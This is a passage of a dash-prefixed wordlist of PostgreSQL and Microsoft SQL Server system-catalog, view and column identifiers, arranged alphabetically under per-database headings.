-prorows -prosecdef -prosqlbody -prosrc -prosupport -protrftypes -provariadic -provider -provolatile -prpubid -prqual -prrelid -prsend -prsheadline -prslextype -prsname -prsnamespace -prsstart -prstoken -puballtables -pubdelete -pubinsert -pubname -pubowner -pubtruncate -pubupdate -pubviaroot -qual -query -query_id -query_start -reads -read_time -received_lsn -received_tli -receive_start_lsn -receive_start_tli -refclassid -ref_dtd_identifier -reference_generation -reference_type -referential_constraints -refobjid -refobjsubid -relacl -relallvisible -relam -relation -relchecks -relfilenode -relforcerowsecurity -relfrozenxid -relhasindex -relhasrules -relhassubclass -relhastriggers -relid -relispartition -relispopulated -relisshared -relkind -relminmxid -relname -relnamespace -relnatts -relocatable -reloftype -reloptions -relowner -relpages -relpartbound -relpersistence -relreplident -relrewrite -relrowsecurity -reltablespace -reltoastrelid -reltuples -reltype -remote_lsn -replay_lag -replay_lsn -reply_time -requires -reset_val -restart_lsn -result_cast_as_locator -result_cast_char_max_length -result_cast_char_octet_length -result_cast_char_set_catalog -result_cast_char_set_name -result_cast_char_set_schema -result_cast_collation_catalog -result_cast_collation_name -result_cast_collation_schema -result_cast_datetime_precision -result_cast_dtd_identifier -result_cast_from_data_type -result_cast_interval_precision -result_cast_interval_type -result_cast_maximum_cardinality -result_cast_numeric_precision -result_cast_numeric_precision_radix -result_cast_numeric_scale -result_cast_scope_catalog -result_cast_scope_name -result_cast_scope_schema -result_cast_type_udt_catalog -result_cast_type_udt_name -result_cast_type_udt_schema -result_types -reuses -rngcanonical -rngcollation -rngmultitypid -rngsubdiff -rngsubopc -rngsubtype -rngtypid -roident -rolbypassrls -rolcanlogin -rolconfig -rolconnlimit -rolcreatedb -rolcreaterole -role_column_grants -roleid -role_name -role_routine_grants -roles -role_table_grants -role_udt_grants -role_usage_grants -rolinherit -rolname -rolpassword -rolreplication -rolsuper -rolvaliduntil -roname -routine_body -routine_catalog -routine_column_usage -routine_definition -routine_name -routine_privileges -routine_routine_usage -routines -routine_schema -routine_sequence_usage -routine_table_usage -routine_type -rowfilter -rowsecurity -rulename -rule_number -safe_wal_size -sample_blks_scanned -sample_blks_total -schema -schema_level_routine -schema_name -schemaname -schema_owner -schemata -scope_catalog -scope_name -scope_schema -security_type -self_referencing_column_name -self_time -sender_host -sender_port -sent_lsn -seqcache -seqcycle -seqincrement -seqmax -seqmin -seqno -seqrelid -seq_scan -seqstart -seq_tup_read -seqtypid -sequence_catalog -sequence_name -sequencename -sequenceowner -sequences -sequence_schema -sessions -sessions_abandoned -sessions_fatal -sessions_killed -session_time -setconfig -setdatabase -set_option -setrole -setting -short_desc -size -sizing_id -sizing_name -skip_fpw -skip_init -skip_new -skip_rep -slot_name -slot_type -source -source_dtd_identifier -sourcefile -sourceline -spcacl -spcname -spcoptions -spcowner -specific_catalog -specific_name -specific_schema -spill_bytes -spill_count -spill_txns -sql_data_access -sql_features -sql_implementation_info -sql_parts -sql_path -sql_sizing -srrelid -srsubid -srsublsn -srsubstate -srvacl -srvfdw -srvid -srvname -srvoptions -srvowner -srvtype -srvversion -ssl -staattnum -stacoll1 -stacoll2 -stacoll3 -stacoll4 -stacoll5 -stadistinct -stainherit -stakind1 -stakind2 -stakind3 -stakind4 -stakind5 -stanullfrac -stanumbers1 -stanumbers2 -stanumbers3 -stanumbers4 -stanumbers5 -staop1 -staop2 -staop3 -staop4 -staop5 -starelid -start_value -state -state_change -statement -statistics_name -statistics_owner -statistics_schemaname -stats_reset -status -stavalues1 -stavalues2 -stavalues3 -stavalues4 -stavalues5 -stawidth -stream_bytes -stream_count -stream_txns -stxddependencies -stxdexpr -stxdinherit -stxdmcv -stxdndistinct -stxexprs -stxkeys -stxkind -stxname -stxnamespace -stxoid -stxowner -stxrelid -stxstattarget -subbinary -subconninfo -subdbid -subdisableonerr -subenabled -sub_feature_id -sub_feature_name -subid -subname -suborigin -subowner -subpasswordrequired -subpublications -subrunasowner -subskiplsn -subslotname -substream -subsynccommit -subtwophasestate -superuser -supported_value -sync_error_count -sync_priority -sync_state -sys_name -table_catalog -table_constraints -table_name -tablename -tableoid -tableowner -table_privileges -tables -table_schema -tablespace -tablespaces_streamed -tablespaces_total -table_type -temp_bytes -temp_files -temporary -tgargs -tgattr -tgconstraint -tgconstrindid -tgconstrrelid -tgdeferrable -tgenabled -tgfoid -tginitdeferred -tgisinternal -tgname -tgnargs -tgnewtable -tgoldtable -tgparentid -tgqual -tgrelid -tgtype -tidx_blks_hit -tidx_blks_read -tmplinit -tmpllexize -tmplname -tmplnamespace -toast_blks_hit -toast_blks_read -to_sql_specific_catalog -to_sql_specific_name -to_sql_specific_schema -total_bytes -total_nblocks -total_time -total_txns -transaction -transactionid -transforms -transform_type -trffromsql -trflang -trftosql -trftype -trigger_catalog -triggered_update_columns -trigger_name -triggers -trigger_schema -truncates -trusted -tup_deleted -tup_fetched -tup_inserted -tuple -tuples_done -tuples_excluded -tuples_processed -tuples_total -tup_returned -tup_updated -two_phase -typacl -typalign -typanalyze -typarray -typbasetype -typbyval -typcategory -typcollation -typdefault -typdefaultbin -typdelim -type -typelem -type_udt_catalog -type_udt_name -type_udt_schema -typinput -typisdefined -typispreferred -typlen -typmodin -typmodout -typname -typnamespace -typndims -typnotnull -typoutput -typowner -typreceive -typrelid -typsend -typstorage -typsubscript -typtype -typtypmod -udt_catalog -udt_name -udt_privileges -udt_schema -umid -umoptions -umserver -umuser -unique_constraint_catalog -unique_constraint_name -unique_constraint_schema -unit -update_rule -usage_privileges -usebypassrls -useconfig -usecreatedb -used_bytes -usename -user_defined_type_catalog -user_defined_type_category -user_defined_type_name -user_defined_types -user_defined_type_schema -userepl -user_mapping_options -user_mappings -user_name -usesuper -usesysid -utc_offset -vacuum_count -valuntil -vartype -version -view_catalog -view_column_usage -view_definition -view_name -viewname -viewowner -view_routine_usage -views -view_schema -view_table_usage -virtualtransaction -virtualxid -wait_event -wait_event_type -waitstart -wal_buffers_full -wal_bytes -wal_distance -wal_fpi -wal_records -wal_status -wal_sync -wal_sync_time -wal_write -wal_write_time -with_check -with_hierarchy -writebacks -writeback_time -write_lag -write_lsn -writes -write_time -written_lsn -xact_commit -xact_rollback -xact_start -xmax -xmin - -[Microsoft SQL Server] -aborted_version_cleaner_end_time -aborted_version_cleaner_start_time -abort_state -accdate -acceptable_cursor_options -access_count -access_date -access_type -acquire_time -actadd -action -action_id -action_in_log -action_name -action_package_guid -actions -actions_discovered -action_sequence -actions_scheduled -action_type -activation_procedure -active -active_backups -active_count -active_fts_index_count -active_ios_count -active_loads -active_log_size -active_log_size_mb -active_memgrant_count -active_memgrant_kb -active_parallel_thread_count -active_processes_count -active_request_count -active_requests -active_restores -active_scan_time_in_ms -active_tasks_count -active_vlf_count -active_worker_address -active_worker_count -active_workers_count -actmod -actual_read_row_count -actual_state -actual_state_additional_info -actual_state_desc -additional_information -additional_parameters -additional_props -addr -address -adjacent_broker_address -affected_rows -affinity -affinity_count -affinity_type -affinity_type_desc -after_begin -after_end -after_links -after_time -ag_db_id -ag_db_name -age -age_contents -age_content_version -age_issue_time -agent_exe -age_row_number -aggregated_record_length_in_bytes -ag_group_id -ag_id -ag_name -ag_remote_replica_id -ag_resource_id -alert_id -alert_instance_id -alert_name -algorithm -algorithm_desc -algorithm_id -algorithm_tag -alias -all_columns -all_objects -allocated_bytes -allocated_extent_page_count -allocated_memory -allocated_page_file_id -allocated_page_iam_file_id -allocated_page_iam_page_id -allocated_page_page_id -allocation_count -allocations_kb -allocations_kb_per_sec -allocation_unit_id -allocation_units -allocation_unit_type -allocation_unit_type_desc -allocator_stack_address -allocpolicy -alloc_unit_id -AllocUnitId -AllocUnitName -alloc_unit_type_desc -allow_enclave_computations -allow_encrypted_value_modifications -allownulls -allow_page_locks -allow_row_locks -allows_mixed_content -allows_nullable_keys -all_parameters -all_sql_modules -all_views -altuid -ansi_defaults -ansi_null_dflt_on -ansi_nulls -ansi_padding -ansi_position -ansi_warnings -appdomain_address -appdomain_id -appdomain_name -application_name -ApplicationName -app_name -arithabort -artcache_article_address -artcache_db_address -artcache_schema_address -artcache_table_address -artcmdtype -artfilter -artgendel2cmd -artgendelcmd -artgenins2cmd -artgeninscmd -artgenupdcmd -artid -artobjid -artpartialupdcmd -artpubid -artstatus -arttype -artupdtxtcmd -AS_LOCATOR -asn -assemblies -assembly_class -assembly_files -assembly_id -assembly_method -assembly_modules -assembly_qualified_name -assembly_qualified_type_name -assembly_references -assembly_types -associated_object_id -asymmetric_key_export -asymmetric_key_id -asymmetric_key_import -asymmetric_key_persistance -asymmetric_keys -asymmetric_key_support -attested_by -attribute -audit_action_id -audit_action_name -audited_principal_id -audited_result -audit_file_offset -audit_file_path -audit_file_size -audit_guid -audit_id -audit_schema_version -audit_spec_id -auid -authenticating_database_id -authentication_method -authentication_type -authentication_type_desc -authority_name -authorization_realm -authorized_spatial_reference_id -authrealm -auth_scheme -authtype -auto_created -auto_drop -automated_backup_preference -automated_backup_preference_desc -auto_population_count -autoval -availability_databases_cluster -availability_group_listener_ip_addresses -availability_group_listeners -availability_groups -availability_groups_cluster -availability_mode -availability_mode_desc -availability_read_only_routing_lists -availability_replicas -available_bytes -available_commit_limit_kb -available_memory -available_memory_kb -available_page_file_kb -available_physical_memory_kb -average_range_rows -average_rows -average_time_between_uses -average_version_chain_traversed -avg_bind_cpu_time -avg_bind_duration -avg_chain_length -avg_clr_time -avg_compile_duration -avg_compile_memory_kb -avg_cpu_percent -avg_cpu_time -avg_dop -avg_duration -avgexectime -avg_fragmentation_in_percent -avg_fragment_size_in_pages -avg_load_balance -avg_log_bytes_used -avg_logical_io_reads -avg_logical_io_writes -avg_num_physical_io_reads -avg_optimize_cpu_time -avg_optimize_duration -avg_page_server_io_reads -avg_page_space_used_in_percent -avg_physical_io_reads -avg_query_max_used_memory -avg_query_wait_time_ms -avg_record_size_in_bytes -avg_rowcount -avg_rows -avg_system_impact -avg_tempdb_space_used -avg_time -avg_total_system_cost -avg_total_user_cost -avg_user_impact -avg_wait_time -awe_allocated_kb -backoffs -backup_devices -backup_finish_date -backup_lsn -backuplsn -backup_metadata_store -backup_metadata_uuid -backup_path -backup_priority -backup_size -backup_start_date -backup_storage_consumption_mb -backup_storage_redundancy -backup_type -base_address -base_generation -base_id -base_object_name -base_schema_ver -base_xml_component_id -basic_features -batch_count -batch_id -batchsize -batch_sql_handle -batchtext -batch_timestamp -before_begin -before_end -before_links -before_time -begin_checkpoint_id -begin_lsn -begin_time -begin_tsn -begin_update_lsn -begin_version -begin_xact_lsn -bigint -BigintData1 -BigintData2 -binary -BinaryData -binarydefinition -binary_message_body -bit -bitlength -bitpos -blob_container_id -blob_container_type -blob_container_url -blob_id -blocked -blocked_event_fire_time -blocked_task_count -block_id -blocking_exec_context_id -blocking_session_id -blocking_task_address -blocks_from_disk -blocks_from_LC -blocks_from_LogPool -block_size -bloom_filter_data_ptr -bloom_filter_md -body_size -boost_count -bootstrap_recovery_lsn -bootstrap_root_file_guid -boot_time_secs -boundary_id -boundary_value_on_right -bounding_box_xmax -bounding_box_xmin -bounding_box_ymax -bounding_box_ymin -brick_config_state -brick_guid -brick_id -brickid -brick_state -brkrinst -broker_address -broker_instance -bsn -bstat -bucket_count -bucketid -bucket_no -buckets -buckets_avg_length -buckets_avg_scan_hit_length -buckets_avg_scan_miss_length -buckets_count -buckets_in_use_count -buckets_max_length -buckets_max_length_ever -buckets_min_length -buffer_count -buffer_full_count -buffer_policy_desc -buffer_policy_flags -buffer_processed_count -buffers_available -buffer_size -built_substitute -bulkadmin -bXVTDocidUseBaseT -bytes_of_large_data_serialized -BytesOnDisk -bytes_per_sec -bytes_processed -BytesRead -bytes_serialized -bytes_to_end_of_log -bytes_used -bytes_written -BytesWritten -C1_count -C1_time -C2_count -C2_time -C3_count -C3_time -cache -cache_address -cache_available -cache_buffer -cache_capacity -cached_time -cache_hit -cache_memory_kb -cache_misses -cacheobjtype -cache_size -cache_used -can_commit -capabilities -capabilities_desc -cap_cpu_percent -cap_percentage_resource -capture_policy_execution_count -capture_policy_stale_threshold_hours -capture_policy_total_compile_cpu_time_ms -capture_policy_total_execution_cpu_time_ms -catalog -catalog_collation_type -catalog_collation_type_desc -catalog_id -CATALOG_NAME -category -category_id -ccTabname -ccTabschema -cdefault -cells_per_object -cert -certificate_id -certificates -cert_serial_number -changedate -change_tracking_databases -change_tracking_state -change_tracking_state_desc -change_tracking_tables -char -CHARACTER_MAXIMUM_LENGTH -CHARACTER_OCTET_LENGTH -CHARACTER_SET_CATALOG -CHARACTER_SET_NAME -CHARACTER_SET_SCHEMA -CHECK_CLAUSE -check_constraints -CHECK_CONSTRAINTS -CHECK_OPTION -checkpoint_file_id -checkpoint_id -checkpoint_lsn -checkpoint_pair_file_id -checkpoints_closed -checkpoint_timestamp -checksum -chk -cid -class -class_desc -class_id -classifier_function_id -classifier_id -classifier_name -classifier_type -classifier_value -class_type -class_type_desc -clause_number -cleanup_version -clear_port -clerk_name -client_app_name -client_correlation_id -client_id -client_interface_name -client_ip -client_net_address -client_process_id -ClientProcessID -client_tcp_port -client_thread_id -client_tls_version -client_version -clock_frequency -clock_hand -clock_status -cloneid -clone_state -clone_state_desc -closed_age -closed_checkpoint_epoch_value -closed_time -close_time -closing_checkpoint_id -clr_name -clustering_quality -cluster_name -cluster_nodename -cluster_owner_node -cluster_type -cluster_type_desc -cmd -cmdexec_success_code -cmds_in_tran -cmdTypeDel -cmdTypeIns -cmdTypePartialUpd -cmdTypeUpd -cmprlevel -cmptlevel -cntrltype -cntr_type -cntr_value -cold_count -colguid -colid -collation -COLLATION_CATALOG -collationcompatible -collation_id -collationid -collation_name -COLLATION_NAME -COLLATION_SCHEMA -collection_start_time -collisions -colName -colorder -colstat -column_characteristics_flags -column_count -COLUMN_DEFAULT -COLUMN_DOMAIN_USAGE -column_encryption_key_database_name -column_encryption_key_id -column_encryption_keys -column_encryption_key_values -column_id -columnid -column_master_key_id -column_master_keys -column_name -COLUMN_NAME -column_ordinal -ColumnPermissions -column_precision -COLUMN_PRIVILEGES -columns -COLUMNS -column_scale -column_size -columnstore_delete_buffer_state -columnstore_delete_buffer_state_desc -column_store_dictionaries -column_store_order_ordinal -column_store_row_groups -column_store_segments -column_type -column_type_usages -column_usage -column_value -column_value_pull_in_row_count -column_value_push_off_row_count -column_xml_schema_collection_usages -command -Command -command2 -command_count -command_desc -comment -commit_csn -commit_dependency_count -commit_dependency_total_attempt_count -commit_lbn -commit_lsn -commit_LSN -commit_sequence_num -committed_kb -committed_target_kb -commit_time -commit_timestamp -commit_ts -company -comparison_operator -compatibility_level -compensated_trans -comp_exec_ctxt_address -compid -compile_count -compile_memory_kb -completed_count -completed_ios_count -completed_ios_in_bytes -completed_range_count -completed_trans -completion_time -completion_type -completion_type_description -component -component_id -component_instance_id -component_name -compositor -compositor_desc -comp_range_address -compressed -compressed_backup_size -compressed_page_count -compressed_reason -compression_algorithm -compression_delay -computed_columns -compute_node_id -compute_pool_id -compute_units -concat_null_yields_null -concurrency -concurrency_slots_used -condition -condition_value -config -configuration_id -configuration_level -configurations -connected_state -connected_state_desc -connection_auth -connection_auth_desc -connection_id -connection_options -connections -connect_time -connect_timeout -connecttimeout -constid -CONSTRAINT_CATALOG -constraint_column_id -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_NAME -constraint_object_id -CONSTRAINT_SCHEMA -CONSTRAINT_TABLE_USAGE -CONSTRAINT_TYPE -consumed_block_count -consumer_id -consumer_name -contained_availability_group_id -container_guid -container_id -container_path -container_type -container_type_desc -containing_group_name -containment -containment_desc -content -contention_factor -Context -context_info -context_settings_id -context_switch_count -context_switches_count -contract -conversation_endpoints -conversation_group_id -conversation_groups -conversation_handle -conversation_id -conversation_priorities -convgroup -cores_per_socket -correlation_process_id -correlation_thread_id -cost -count -count_compiles -counter -counter_category -counter_name -counter_value -count_executions -count_of_allocations -covering_action_name -covering_parent_action_name -covering_permission_name -cprelid -cpu -CPU -cpu_affinity_group -cpu_affinity_mask -cpu_busy -cpu_count -cpu_id -cpu_mask -cpu_rate -cpu_ticks -cpu_time -cpu_time_ms -cpu_usage -crawl_end_date -crawl_memory_address -crawl_start_date -crawl_type -crawl_type_desc -crdate -created -CREATED -create_date -createdate -created_by -create_disposition -created_time -create_lsn -createlsn -create_time -creation_client_process_id -creation_client_thread_id -creation_irp_id -creation_options -creation_request_id -creation_stack_address -creation_time -creator_sid -credential_id -credential_identity -credentials -crend -crerrors -crrows -crschver -crstart -crtsnext -crtype -crypto -cryptographic_provider_algid -cryptographic_provider_guid -cryptographic_providers -crypt_properties -crypt_property -crypt_type -crypt_type_desc -csid -csn -csw_cnt -ctext -current_aborted_transaction_count -current_cache_buffer -current_checkpoint_id -current_checkpoint_segment_count -current_column_encryption_key_count -current_configuration_commit_start_time_utc -current_cost -current_enclave_session_count -current_item_duration -current_lsn -current_memory_size_kb -current_principal -current_queue_depth -current_read_version -current_size_in_kb -current_spid -current_state -current_storage_size_mb -current_tasks_count -current_utc_offset -current_value -current_vlf_sequence_number -current_vlf_size_mb -current_workers_count -current_workitem_type -current_workitem_type_desc -cursor_handl -cursor_handle -cursor_id -cursor_name -cursor_rows -cursor_scope -cycle_id -CYCLE_OPTION -cycles_used -data -dataaccess -database -database_address -database_audit_specification_details -database_audit_specifications -database_automatic_tuning_mode -database_automatic_tuning_options -database_backup_lsn -database_credentials -database_directory_name -database_files -database_filestream_options -database_guid -database_id -DatabaseID -database_ledger_blocks -database_ledger_transactions -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_name -DatabaseName -database_permissions -database_principal_id -database_principal_name -database_principals -database_query_store_options -database_recovery_status -database_role_members -databases -database_scoped_configurations -database_scoped_credentials -database_size_bytes -database_specification_id -database_state -database_state_desc -database_transaction_begin_lsn -database_transaction_begin_time -database_transaction_commit_lsn -database_transaction_last_lsn -database_transaction_last_rollback_lsn -database_transaction_log_bytes_reserved -database_transaction_log_bytes_reserved_system -database_transaction_log_bytes_used -database_transaction_log_bytes_used_system -database_transaction_log_record_count -database_transaction_most_recent_savepoint_lsn -database_transaction_next_undo_lsn -database_transaction_replicate_record_count -database_transaction_state -database_transaction_status -database_transaction_status2 -database_transaction_type -database_type -database_user_name -database_version -data_clone_id -data_compression -data_compression_desc -dataloss -data_pages -data_pool_id -data_pool_node_name -data_processed_mb -data_ptr -data_retention_period -data_retention_period_unit -data_retention_period_unit_desc -data_sensitivity_information -data_size -datasize -data_source -datasource -data_source_id -dataspace -data_space_id -data_spaces -DATA_TYPE -data_type_sql -date -date_created -date_first -datefirst -date_format -dateformat -date_modified -datetime -datetime2 -datetimeoffset -DATETIME_PRECISION -days -dbcreator -db_failover -dbfragid -db_id -dbid -DbId -dbidexec -db_ledger_blocks -db_ledger_transactions -db_len_in_bytes -db_name -dbname -DBUserName -db_ver -ddl_step -deadlock_monitor_serial_number -deadlock_priority -debug -decimal -DECLARED_DATA_TYPE -DECLARED_NUMERIC_PRECISION -DECLARED_NUMERIC_SCALE -DEFAULT_CHARACTER_SET_CATALOG -DEFAULT_CHARACTER_SET_NAME -DEFAULT_CHARACTER_SET_SCHEMA -default_constraints -default_database -default_database_name -default_fulltext_language_lcid -default_fulltext_language_name -default_language_lcid -default_language_name -default_logon_domain -default_memory_clerk_address -default_namespace -default_object_id -default_result_schema -default_result_schema_desc -default_schema_id -default_schema_name -default_value -definition -deflanguage -defval -degree_of_parallelism -delayed_durability -delayed_durability_desc -delete_access -delete_buffer_scan_count -deleted_rows -delete_level -delete_lsn -delete_referential_action -delete_referential_action_desc -DELETE_RULE -delta_pages -delta_quality -delta_store_hobt_id -deltrig -denylogin -depclass -depdbid -dependencies_failed -dependencies_taken -dependency -dependent_1_address -dependent_2_address -dependent_3_address -dependent_4_address -dependent_5_address -dependent_6_address -dependent_7_address -dependent_8_address -depid -depnumber -depsiteid -depsubid -deptype -deriv -derivation -derivation_desc -description -Description -description_id -desired_state -desired_state_desc -destination_createparams -destination_data_spaces -destination_dbms -destination_distribution_id -destination_id -destination_info -destination_length -destination_nullable -destination_precision -destination_scale -destination_type -destination_version -details -device_logical_id -device_memory_bytes -device_physical_id -device_provider -device_ready -device_to_host_bytes -device_type -dev_name -dflt -dfltdb -dfltdm -dfltns -dfltsch -diag_address -diagid -diag_status -dialog_timer -dictionary_id -diffbaseguid -diffbaselsn -diffbaseseclsn -diffbasetime -differential_base_guid -differential_base_lsn -differential_base_time -diff_map_page_id -diff_status -diff_status_desc -directory_name -disallow_namespaces -discriminator -diskadmin -disk_ios_count -disk_read_consumer_id -dispatcher_count -dispatcher_ideal_count -dispatcher_pool_address -dispatcher_timeout_ms -dispatcher_waiting_count -display_term -dist -dist_client_id -distinct_range_rows -dist_request_id -distributed_statement_id -distribution_desc -distribution_id -distribution_ordinal -distribution_policy -distribution_policy_desc -distribution_type -dist_statement_hash -dist_statement_id -dlevel -dlgerr -dlgid -dlgopened -dlgtimer -dll_name -dll_path -dm_audit_actions -dm_audit_class_type_map -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_cache_hit_stats -dm_cache_size -dm_cache_stats -dm_cdc_errors -dm_cdc_log_scan_sessions -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_cluster_endpoints -dm_column_encryption_enclave -dm_column_encryption_enclave_operation_stats -dm_column_store_object_pool -dm_cryptographic_provider_algorithms -dm_cryptographic_provider_keys -dm_cryptographic_provider_properties -dm_cryptographic_provider_sessions -dm_database_encryption_keys -dm_db_column_store_row_group_operational_stats -dm_db_column_store_row_group_physical_stats -dm_db_database_page_allocations -dm_db_data_pool_nodes -dm_db_data_pools -dm_db_external_language_stats -dm_db_external_script_execution_stats -dm_db_file_space_usage -dm_db_fts_index_physical_stats -dm_db_incremental_stats_properties -dm_db_index_operational_stats -dm_db_index_physical_stats -dm_db_index_usage_stats -dm_db_log_info -dm_db_log_space_usage -dm_db_log_stats -dm_db_mirroring_auto_page_repair -dm_db_mirroring_connections -dm_db_mirroring_past_actions -dm_db_missing_index_columns -dm_db_missing_index_details -dm_db_missing_index_groups -dm_db_missing_index_group_stats -dm_db_missing_index_group_stats_query -dm_db_objects_disabled_on_compatibility_level_change -dm_db_page_info -dm_db_partition_stats -dm_db_persisted_sku_features -dm_db_rda_migration_status -dm_db_rda_schema_update_status -dm_db_script_level -dm_db_session_space_usage -dm_db_stats_histogram -dm_db_stats_properties -dm_db_stats_properties_internal -dm_db_storage_pool_nodes -dm_db_storage_pools -dm_db_task_space_usage -dm_db_tuning_recommendations -dm_db_uncontained_entities -dm_db_xtp_checkpoint_files -dm_db_xtp_checkpoint_internals -dm_db_xtp_checkpoint_stats -dm_db_xtp_gc_cycle_stats -dm_db_xtp_hash_index_stats -dm_db_xtp_index_stats -dm_db_xtp_memory_consumers -dm_db_xtp_nonclustered_index_stats -dm_db_xtp_object_stats -dm_db_xtp_table_memory_stats -dm_db_xtp_transactions -dm_dist_requests -dm_distributed_exchange_stats -dm_dw_databases -dm_dw_locks -dm_dw_pit_databases -dm_dw_quality_clustering -dm_dw_quality_delta -dm_dw_quality_index -dm_dw_quality_row_group -dm_dw_resource_manager_abort_cache -dm_dw_resource_manager_active_tran -dm_dw_tran_manager_abort_cache -dm_dw_tran_manager_active_cache -dm_dw_tran_manager_commit_cache -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plan_dependent_objects -dm_exec_cached_plans -dm_exec_compute_node_errors -dm_exec_compute_nodes -dm_exec_compute_node_status -dm_exec_compute_pools -dm_exec_connections -dm_exec_cursors -dm_exec_describe_first_result_set -dm_exec_describe_first_result_set_for_object -dm_exec_distributed_requests -dm_exec_distributed_request_steps -dm_exec_distributed_sql_requests -dm_exec_dms_services -dm_exec_dms_workers -dm_exec_external_operations -dm_exec_external_work -dm_exec_function_stats -dm_exec_input_buffer -dm_exec_plan_attributes -dm_exec_procedure_stats -dm_exec_query_memory_grants -dm_exec_query_optimizer_info -dm_exec_query_optimizer_memory_gateways -dm_exec_query_parallel_workers -dm_exec_query_plan -dm_exec_query_plan_stats -dm_exec_query_profiles -dm_exec_query_resource_semaphores -dm_exec_query_statistics_xml -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_requests_history -dm_exec_sessions -dm_exec_session_wait_stats -dm_exec_sql_text -dm_exec_text_query_plan -dm_exec_trigger_stats -dm_exec_valid_use_hints -dm_exec_xml_handles -dm_external_authentication -dm_external_data_processed -dm_external_script_execution_stats -dm_external_script_requests -dm_external_script_resource_usage_stats -dm_filestream_file_io_handles -dm_filestream_file_io_requests -dm_filestream_non_transacted_handles -dm_fts_active_catalogs -dm_fts_fdhosts -dm_fts_index_keywords -dm_fts_index_keywords_by_document -dm_fts_index_keywords_by_property -dm_fts_index_keywords_position_by_document -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_outstanding_batches -dm_fts_parser -dm_fts_population_ranges -dm_fts_semantic_similarity_population -dm_hadr_ag_threads -dm_hadr_automatic_seeding -dm_hadr_auto_page_repair -dm_hadr_availability_group_states -dm_hadr_availability_replica_cluster_nodes -dm_hadr_availability_replica_cluster_states -dm_hadr_availability_replica_states -dm_hadr_cached_database_replica_states -dm_hadr_cached_replica_states -dm_hadr_cluster -dm_hadr_cluster_members -dm_hadr_cluster_networks -dm_hadr_database_replica_cluster_states -dm_hadr_database_replica_states -dm_hadr_db_threads -dm_hadr_instance_node_map -dm_hadr_name_id_map -dm_hadr_physical_seeding_stats -dm_hpc_device_stats -dm_hpc_thread_proxy_stats -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_cluster_valid_path_names -dm_io_pending_io_requests -dm_io_virtual_file_stats -dm_logconsumer_cachebufferrefs -dm_logconsumer_privatecachebuffers -dm_logpool_consumers -dm_logpool_hashentries -dm_logpoolmgr_freepools -dm_logpoolmgr_respoolsize -dm_logpoolmgr_stats -dm_logpool_sharedcachebuffers -dm_logpool_stats -dm_os_buffer_descriptors -dm_os_buffer_pool_extension_configuration -dm_os_child_instances -dm_os_cluster_nodes -dm_os_cluster_properties -dm_os_dispatcher_pools -dm_os_dispatchers -dm_os_enumerate_filesystem -dm_os_enumerate_fixed_drives -dm_os_file_exists -dm_os_host_info -dm_os_hosts -dm_os_job_object -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_broker_clerks -dm_os_memory_brokers -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_node_access_stats -dm_os_memory_nodes -dm_os_memory_objects -dm_os_memory_pools -dm_os_nodes -dm_os_performance_counters -dm_os_process_memory -dm_os_ring_buffers -dm_os_schedulers -dm_os_server_diagnostics_log_configurations -dm_os_spinlock_stats -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_sys_memory -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_volume_stats -dm_os_waiting_tasks -dm_os_wait_stats -dm_os_windows_info -dm_os_worker_local_storage -dm_os_workers -dm_pal_cpu_stats -dm_pal_disk_stats -dm_pal_net_stats -dm_pal_processes -dm_pal_spinlock_stats -dm_pal_vm_stats -dm_pal_wait_stats -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_request_phases -dm_resource_governor_configuration -dm_resource_governor_external_resource_pool_affinity -dm_resource_governor_external_resource_pools -dm_resource_governor_resource_pool_affinity -dm_resource_governor_resource_pools -dm_resource_governor_resource_pool_volumes -dm_resource_governor_workload_groups -dms_core_id -dms_cpid -dm_server_audit_status -dm_server_memory_dumps -dm_server_registry -dm_server_services -dm_sql_referenced_entities -dm_sql_referencing_entities -dms_step_index -dm_tcp_listener_states -dm_toad_tuning_zones -dm_toad_work_item_handlers -dm_toad_work_items -dm_tran_aborted_transactions -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_commit_table -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_global_recovery_transactions -dm_tran_global_transactions -dm_tran_global_transactions_enlistments -dm_tran_global_transactions_log -dm_tran_locks -dm_tran_persistent_version_store -dm_tran_persistent_version_store_stats -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -dm_tran_version_store_space_usage -dm_xcs_enumerate_blobdirectory -dm_xe_map_values -dm_xe_object_columns -dm_xe_objects -dm_xe_packages -dm_xe_session_event_actions -dm_xe_session_events -dm_xe_session_object_columns -dm_xe_sessions -dm_xe_session_targets -dm_xtp_gc_queue_stats -dm_xtp_gc_stats -dm_xtp_system_memory_consumers -dm_xtp_threads -dm_xtp_transaction_recent_rows -dm_xtp_transaction_stats -dns_name -doc_failed -document_count -document_id -document_processed_count -document_type -domain -DOMAIN_CATALOG -DOMAIN_CONSTRAINTS -DOMAIN_DEFAULT -DOMAIN_NAME -DOMAINS -DOMAIN_SCHEMA -dop -dormant_duration -dormant_duration_ms -downgrade_start_level -downgrade_target_level -dpages -dpub -DriveName -drive_type -drive_type_desc -drop_lsn -droplsn -dropped -dropped_buffer_count -dropped_event_count -dropped_lob_column_state -drop_table_memory_attempts -drop_table_memory_failures -ds_hobtid -dtc_isolation_level -dtc_state -dtc_status -dtc_support -DTD_IDENTIFIER -durability -durability_desc -duration -Duration -duration_milliseconds -ec_address -ecid -edge_constraint_clauses -edge_constraints -effective_cap_percentage_resource -effective_max_dop -effective_min_percentage_resource -effective_request_max_resource_grant_percent -effective_request_min_resource_grant_percent -elapsed_avg_ms -elapsed_max_ms -elapsed_time -elapsed_time_ms 